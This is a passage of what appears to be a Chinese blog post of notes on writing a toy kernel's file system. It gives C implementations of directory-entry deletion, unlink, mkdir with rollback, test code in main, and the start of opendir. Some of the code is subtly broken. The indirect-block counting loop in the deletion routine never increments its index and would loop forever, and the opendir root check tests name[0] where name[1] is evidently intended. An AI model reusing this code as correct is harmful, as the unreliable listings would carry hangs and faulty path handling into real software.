若此扇区未找到该目录项,继续在下个扇区中找 */</span></span><br><span class="line">      <span class="keyword">if</span> (dir_entry_found == <span class="literal">NULL</span>) &#123;</span><br><span class="line"> block_idx++;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 在此扇区中找到目录项后,清除该目录项并判断是否回收扇区,随后退出循环直接返回 */</span></span><br><span class="line">      ASSERT(dir_entry_cnt &gt;= <span class="number">1</span>);</span><br><span class="line">    <span class="comment">/* 除目录第1个扇区外,若该扇区上只有该目录项自己,则将整个扇区回收 */</span></span><br><span class="line">      <span class="keyword">if</span> (dir_entry_cnt == <span class="number">1</span> &amp;&amp; !is_dir_first_block) &#123;</span><br><span class="line"> <span class="comment">/* a 在块位图中回收该块 */</span></span><br><span class="line"> <span class="keyword">uint32_t</span> block_bitmap_idx = all_blocks[block_idx] - part-&gt;sb-&gt;data_start_lba;</span><br><span class="line"> bitmap_set(&amp;part-&gt;block_bitmap, block_bitmap_idx, <span class="number">0</span>);</span><br><span class="line"> bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* b 将块地址从数组i_sectors或索引表中去掉 */</span></span><br><span class="line"> <span class="keyword">if</span> (block_idx &lt; <span class="number">12</span>) &#123;</span><br><span class="line">    dir_inode-&gt;i_sectors[block_idx] = <span class="number">0</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;    <span class="comment">// 在一级间接索引表中擦除该间接块地址</span></span><br><span class="line">    <span class="comment">/*先判断一级间接索引表中间接块的数量,如果仅有这1个间接块,连同间接索引表所在的块一同回收 */</span></span><br><span class="line">    <span class="keyword">uint32_t</span> indirect_blocks = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">uint32_t</span> indirect_block_idx = <span class="number">12</span>;</span><br><span class="line">    <span class="keyword">while</span> (indirect_block_idx &lt; <span class="number">140</span>) &#123;</span><br><span class="line">       <span class="keyword">if</span> (all_blocks[indirect_block_idx] != <span class="number">0</span>) &#123;</span><br><span class="line">  indirect_blocks++;</span><br><span class="line">       &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    ASSERT(indirect_blocks &gt;= <span class="number">1</span>);  <span class="comment">// 包括当前间接块</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (indirect_blocks &gt; <span class="number">1</span>) &#123;  <span class="comment">// 间接索引表中还包括其它间接块,仅在索引表中擦除当前这个间接块地址</span></span><br><span class="line">       all_blocks[block_idx] = <span class="number">0</span>; </span><br><span class="line">       ide_write(part-&gt;my_disk, dir_inode-&gt;i_sectors[<span class="number">12</span>], all_blocks + <span class="number">12</span>, <span class="number">1</span>); </span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;<span class="comment">// 间接索引表中就当前这1个间接块,直接把间接索引表所在的块回收,然后擦除间接索引表块地址</span></span><br><span class="line">       <span class="comment">/* 回收间接索引表所在的块 */</span></span><br><span class="line">       block_bitmap_idx = dir_inode-&gt;i_sectors[<span class="number">12</span>] - part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">       bitmap_set(&amp;part-&gt;block_bitmap, block_bitmap_idx, <span class="number">0</span>);</span><br><span class="line">       bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line">       </span><br><span class="line">       <span class="comment">/* 将间接索引表地址清0 */</span></span><br><span class="line">       dir_inode-&gt;i_sectors[<span class="number">12</span>] = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123; <span class="comment">// 仅将该目录项清空</span></span><br><span class="line"> <span class="built_in">memset</span>(dir_entry_found, <span class="number">0</span>, dir_entry_size);</span><br><span class="line"> ide_write(part-&gt;my_disk, all_blocks[block_idx], io_buf, <span class="number">1</span>);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 更新i结点信息并同步到硬盘 */</span></span><br><span class="line">      ASSERT(dir_inode-&gt;i_size &gt;= dir_entry_size);</span><br><span class="line">      dir_inode-&gt;i_size -= dir_entry_size;</span><br><span class="line">      <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, SECTOR_SIZE * <span class="number">2</span>);</span><br><span class="line">      inode_sync(part, dir_inode, io_buf);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="comment">/* 所有块中未找到则返回false,若出现这种情况应该是serarch_file出错了 */</span></span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来就是sys_unlink的实现，Linux中删除文件是通过unlink系统调用，原型为<code>int unlink(const char *pathname)</code>，成功删除返回0，否则返回-1</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 删除文件(非目录),成功返回0,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_unlink(<span class="keyword">const</span> <span class="keyword">char</span>* pathname) &#123;</span><br><span class="line">   ASSERT(<span class="built_in">strlen</span>(pathname) &lt; MAX_PATH_LEN);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 先检查待删除的文件是否存在 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">path_search_record</span> <span class="title">searched_record</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;searched_record, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct path_search_record));</span><br><span class="line">   <span class="keyword">int</span> inode_no = search_file(pathname, &amp;searched_record);</span><br><span class="line">   ASSERT(inode_no != <span class="number">0</span>);</span><br><span class="line">   <span class="keyword">if</span> (inode_no == <span class="number">-1</span>) &#123;</span><br><span class="line">      printk(<span class="string">"file %s not found!\n"</span>, pathname);</span><br><span class="line">      dir_close(searched_record.parent_dir);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (searched_record.file_type == FT_DIRECTORY) &#123;</span><br><span class="line">      printk(<span class="string">"can`t delete a direcotry with unlink(), use rmdir() to instead\n"</span>);</span><br><span class="line">      dir_close(searched_record.parent_dir);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 检查是否在已打开文件列表(文件表)中 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> file_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (file_idx &lt; MAX_FILE_OPEN) &#123;</span><br><span class="line">      <span class="keyword">if</span> (file_table[file_idx].fd_inode != <span class="literal">NULL</span> &amp;&amp; (<span class="keyword">uint32_t</span>)inode_no == file_table[file_idx].fd_inode-&gt;i_no) &#123;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      file_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (file_idx &lt; MAX_FILE_OPEN) &#123;</span><br><span class="line">      dir_close(searched_record.parent_dir);</span><br><span class="line">      printk(<span class="string">"file %s is in use, not allow to delete!\n"</span>, pathname);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   ASSERT(file_idx == MAX_FILE_OPEN);</span><br><span class="line">   </span><br><span class="line">   <span class="comment">/* 为delete_dir_entry申请缓冲区 */</span></span><br><span class="line">   <span class="keyword">void</span>* io_buf = sys_malloc(SECTOR_SIZE + SECTOR_SIZE);</span><br><span class="line">   <span class="keyword">if</span> (io_buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      dir_close(searched_record.parent_dir);</span><br><span class="line">      printk(<span class="string">"sys_unlink: malloc for io_buf failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">parent_dir</span> = <span class="title">searched_record</span>.<span class="title">parent_dir</span>;</span>  </span><br><span class="line">   delete_dir_entry(cur_part, parent_dir, inode_no, io_buf);</span><br><span class="line">   inode_release(cur_part, inode_no);</span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   dir_close(searched_record.parent_dir);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;   <span class="comment">// 成功删除文件 </span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来在main中测试</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"u_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"u_prog_b"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"I am thread_a"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"I am thread_b"</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"/file1 delete %s!\n"</span>, sys_unlink(<span class="string">"/file1"</span>) == <span class="number">0</span> ? <span class="string">"done"</span> : <span class="string">"fail"</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/101.png" alt></p><h2 id="创建目录"><a href="#创建目录" class="headerlink" title="创建目录"></a>创建目录</h2><p>下面实现sys_mkdir函数创建目录，其原型是<code>int mkdir(const char *pathname,mode_t mode)</code>，所涉及的步骤如下</p><ul><li>确认待创建的新目录在文件系统上不存在</li><li>为新目录创建inode</li><li>为新目录分配1个块储存该目录中的目录项</li><li>在新目录中创建两个目录项”.”和”..”，这是每个目录都必须存在的两个目录项</li><li>在新目录的父目录中添加新目录的目录项</li><li>将资源同步到硬盘</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 创建目录pathname,成功返回0,失败返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_mkdir(<span class="keyword">const</span> <span class="keyword">char</span>* pathname) &#123;</span><br><span class="line">   <span class="keyword">uint8_t</span> rollback_step = <span class="number">0</span>;       <span class="comment">// 用于操作失败时回滚各资源状态</span></span><br><span class="line">   <span class="keyword">void</span>* io_buf = sys_malloc(SECTOR_SIZE * <span class="number">2</span>);</span><br><span class="line">   <span class="keyword">if</span> (io_buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      printk(<span class="string">"sys_mkdir: sys_malloc for io_buf failed\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">path_search_record</span> <span class="title">searched_record</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;searched_record, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct path_search_record));</span><br><span class="line">   <span class="keyword">int</span> inode_no = <span class="number">-1</span>;</span><br><span class="line">   inode_no = search_file(pathname, &amp;searched_record);</span><br><span class="line">   <span class="keyword">if</span> (inode_no != <span class="number">-1</span>) &#123;      <span class="comment">// 如果找到了同名目录或文件,失败返回</span></span><br><span class="line">      printk(<span class="string">"sys_mkdir: file or directory %s exist!\n"</span>, pathname);</span><br><span class="line">      rollback_step = <span class="number">1</span>;</span><br><span class="line">      <span class="keyword">goto</span> rollback;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;     <span class="comment">// 若未找到,也要判断是在最终目录没找到还是某个中间目录不存在</span></span><br><span class="line">      <span class="keyword">uint32_t</span> pathname_depth = path_depth_cnt((<span class="keyword">char</span>*)pathname);</span><br><span class="line">      <span class="keyword">uint32_t</span> path_searched_depth = path_depth_cnt(searched_record.searched_path);</span><br><span class="line">      <span class="comment">/* 先判断是否把pathname的各层目录都访问到了,即是否在某个中间目录就失败了 */</span></span><br><span class="line">      <span class="keyword">if</span> (pathname_depth != path_searched_depth) &#123;   <span class="comment">// 说明并没有访问到全部的路径,某个中间目录是不存在的</span></span><br><span class="line"> printk(<span class="string">"sys_mkdir: can`t access %s, subpath %s is`t exist\n"</span>, pathname, searched_record.searched_path);</span><br><span class="line"> rollback_step = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">goto</span> rollback;</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">parent_dir</span> = <span class="title">searched_record</span>.<span class="title">parent_dir</span>;</span></span><br><span class="line">   <span class="comment">/* 目录名称后可能会有字符'/',所以最好直接用searched_record.searched_path,无'/' */</span></span><br><span class="line">   <span class="keyword">char</span>* dirname = <span class="built_in">strrchr</span>(searched_record.searched_path, <span class="string">'/'</span>) + <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">   inode_no = inode_bitmap_alloc(cur_part); </span><br><span class="line">   <span class="keyword">if</span> (inode_no == <span class="number">-1</span>) &#123;</span><br><span class="line">      printk(<span class="string">"sys_mkdir: allocate inode failed\n"</span>);</span><br><span class="line">      rollback_step = <span class="number">1</span>;</span><br><span class="line">      <span class="keyword">goto</span> rollback;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span> <span class="title">new_dir_inode</span>;</span></span><br><span class="line">   inode_init(inode_no, &amp;new_dir_inode);    <span class="comment">// 初始化i结点</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> block_bitmap_idx = <span class="number">0</span>;     <span class="comment">// 用来记录block对应于block_bitmap中的索引</span></span><br><span class="line">   <span class="keyword">int32_t</span> block_lba = <span class="number">-1</span>;</span><br><span class="line"><span class="comment">/* 为目录分配一个块,用来写入目录.和.. */</span></span><br><span class="line">   block_lba = block_bitmap_alloc(cur_part);</span><br><span class="line">   <span class="keyword">if</span> (block_lba == <span class="number">-1</span>) &#123;</span><br><span class="line">      printk(<span class="string">"sys_mkdir: block_bitmap_alloc for create directory failed\n"</span>);</span><br><span class="line">      rollback_step = <span class="number">2</span>;</span><br><span class="line">      <span class="keyword">goto</span> rollback;</span><br><span class="line">   &#125;</span><br><span class="line">   new_dir_inode.i_sectors[<span class="number">0</span>] = block_lba;</span><br><span class="line">   <span class="comment">/* 每分配一个块就将位图同步到硬盘 */</span></span><br><span class="line">   block_bitmap_idx = block_lba - cur_part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">   ASSERT(block_bitmap_idx != <span class="number">0</span>);</span><br><span class="line">   bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line">   </span><br><span class="line">   <span class="comment">/* 将当前目录的目录项'.'和'..'写入目录 */</span></span><br><span class="line">   <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, SECTOR_SIZE * <span class="number">2</span>); <span class="comment">// 清空io_buf</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">p_de</span> = (<span class="title">struct</span> <span class="title">dir_entry</span>*)<span class="title">io_buf</span>;</span></span><br><span class="line">   </span><br><span class="line">   <span class="comment">/* 初始化当前目录"." */</span></span><br><span class="line">   <span class="built_in">memcpy</span>(p_de-&gt;filename, <span class="string">"."</span>, <span class="number">1</span>);</span><br><span class="line">   p_de-&gt;i_no = inode_no ;</span><br><span class="line">   p_de-&gt;f_type = FT_DIRECTORY;</span><br><span class="line"></span><br><span class="line">   p_de++;</span><br><span class="line">   <span class="comment">/* 初始化当前目录".." */</span></span><br><span class="line">   <span class="built_in">memcpy</span>(p_de-&gt;filename, <span class="string">".."</span>, <span class="number">2</span>);</span><br><span class="line">   p_de-&gt;i_no = parent_dir-&gt;inode-&gt;i_no;</span><br><span class="line">   p_de-&gt;f_type = FT_DIRECTORY;</span><br><span class="line">   ide_write(cur_part-&gt;my_disk, new_dir_inode.i_sectors[<span class="number">0</span>], io_buf, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">   new_dir_inode.i_size = <span class="number">2</span> * cur_part-&gt;sb-&gt;dir_entry_size;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 在父目录中添加自己的目录项 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span> <span class="title">new_dir_entry</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;new_dir_entry, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct dir_entry));</span><br><span class="line">   create_dir_entry(dirname, inode_no, FT_DIRECTORY, &amp;new_dir_entry);</span><br><span class="line">   <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, SECTOR_SIZE * <span class="number">2</span>); <span class="comment">// 清空io_buf</span></span><br><span class="line">   <span class="keyword">if</span> (!sync_dir_entry(parent_dir, &amp;new_dir_entry, io_buf)) &#123;  <span class="comment">// sync_dir_entry中将block_bitmap通过bitmap_sync同步到硬盘</span></span><br><span class="line">      printk(<span class="string">"sys_mkdir: sync_dir_entry to disk failed!\n"</span>);</span><br><span class="line">      rollback_step = <span class="number">2</span>;</span><br><span class="line">      <span class="keyword">goto</span> rollback;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 父目录的inode同步到硬盘 */</span></span><br><span class="line">   <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, SECTOR_SIZE * <span class="number">2</span>);</span><br><span class="line">   inode_sync(cur_part, parent_dir-&gt;inode, io_buf);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 将新创建目录的inode同步到硬盘 */</span></span><br><span class="line">   <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, SECTOR_SIZE * <span class="number">2</span>);</span><br><span class="line">   inode_sync(cur_part, &amp;new_dir_inode, io_buf);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 将inode位图同步到硬盘 */</span></span><br><span class="line">   bitmap_sync(cur_part, inode_no, INODE_BITMAP);</span><br><span class="line"></span><br><span class="line">   sys_free(io_buf);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 关闭所创建目录的父目录 */</span></span><br><span class="line">   dir_close(searched_record.parent_dir);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*创建文件或目录需要创建相关的多个资源,若某步失败则会执行到下面的回滚步骤 */</span></span><br><span class="line">rollback:     <span class="comment">// 因为某步骤操作失败而回滚</span></span><br><span class="line">   <span class="keyword">switch</span> (rollback_step) &#123;</span><br><span class="line">      <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> bitmap_set(&amp;cur_part-&gt;inode_bitmap, inode_no, <span class="number">0</span>); <span class="comment">// 如果新文件的inode创建失败,之前位图中分配的inode_no也要恢复 </span></span><br><span class="line">      <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> <span class="comment">/* 关闭所创建目录的父目录 */</span></span><br><span class="line"> dir_close(searched_record.parent_dir);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来进行测试，因为前面删除了file1文件，这里重新创建一个进行测试</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"u_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"u_prog_b"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"I am thread_a"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"I am thread_b"</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1 create %s!\n"</span>, sys_mkdir(<span class="string">"/dir1/subdir1"</span>) == <span class="number">0</span> ? <span class="string">"done"</span> : <span class="string">"fail"</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"/dir1 create %s!\n"</span>, sys_mkdir(<span class="string">"/dir1"</span>) == <span class="number">0</span> ? <span class="string">"done"</span> : <span class="string">"fail"</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"now, /dir1/subdir1 create %s!\n"</span>, sys_mkdir(<span class="string">"/dir1/subdir1"</span>) == <span class="number">0</span> ? <span class="string">"done"</span> : <span class="string">"fail"</span>);</span><br><span class="line">   <span class="keyword">int</span> fd = sys_open(<span class="string">"/dir1/subdir1/file2"</span>, O_CREAT|O_RDWR);</span><br><span class="line">   <span class="keyword">if</span> (fd != <span class="number">-1</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1/file2 create done!\n"</span>);</span><br><span class="line">      sys_write(fd, <span class="string">"Catch me if you can!\n"</span>, <span class="number">21</span>);</span><br><span class="line">      sys_lseek(fd, <span class="number">0</span>, SEEK_SET);</span><br><span class="line">      <span class="keyword">char</span> buf[<span class="number">32</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">      sys_read(fd, buf, <span class="number">21</span>); </span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">"/dir1/subdir1/file2 says:\n%s"</span>, buf);</span><br><span class="line">      sys_close(fd);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/102.png" alt></p><h2 id="遍历目录"><a href="#遍历目录" class="headerlink" title="遍历目录"></a>遍历目录</h2><p>遍历目录的原型是opendir和closedir，本质是读取目录中所有的目录项，先打开目录然后遍历，最后关闭目录。下面是sys_opendir和sys_closedir的实现部分，根目录只是简单处理”/.”和”/..”的情况</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 目录打开成功后返回目录指针,失败返回NULL */</span></span><br><span class="line"><span class="function">struct dir* <span class="title">sys_opendir</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* name)</span> </span>&#123;</span><br><span class="line">   ASSERT(<span class="built_in">strlen</span>(name) &lt; MAX_PATH_LEN);</span><br><span class="line">   <span class="comment">/* 如果是根目录'/',直接返回&amp;root_dir */</span></span><br><span class="line">   <span class="keyword">if</span> (name[<span class="number">0</span>] == <span class="string">'/'</span> &amp;&amp; (name[<span class="number">1</span>] == <span class="number">0</span> || name[<span class="number">0</span>] == <span class="string">'.'</span>)) &#123;</span><br><span class="line">      <span class="keyword">return</span> &amp;root_dir;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 先检查待打开的目录是否存在 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">path_search_record</span> <span class="title">searched_record</span>;</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;searched_record, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct path_search_record));</span><br><span class="line">   <span class="keyword">int</span> inode_no = search_file(name, &amp;searched_record);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir</span>* <span class="title">ret</span> = <span class="title">NULL</span>;</span></span><br><span class="line">   <span class="keyword">if</span> (inode_no == <span class="number">-1</span>) &#123; <span class="comment">// 如果找不到目录,提示不存在的路径 </span></span><br><span class="line">      printk(<span class="string">"In %s, sub path %s not exist\n"</span>, name, searched_record.searched_path); </span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span 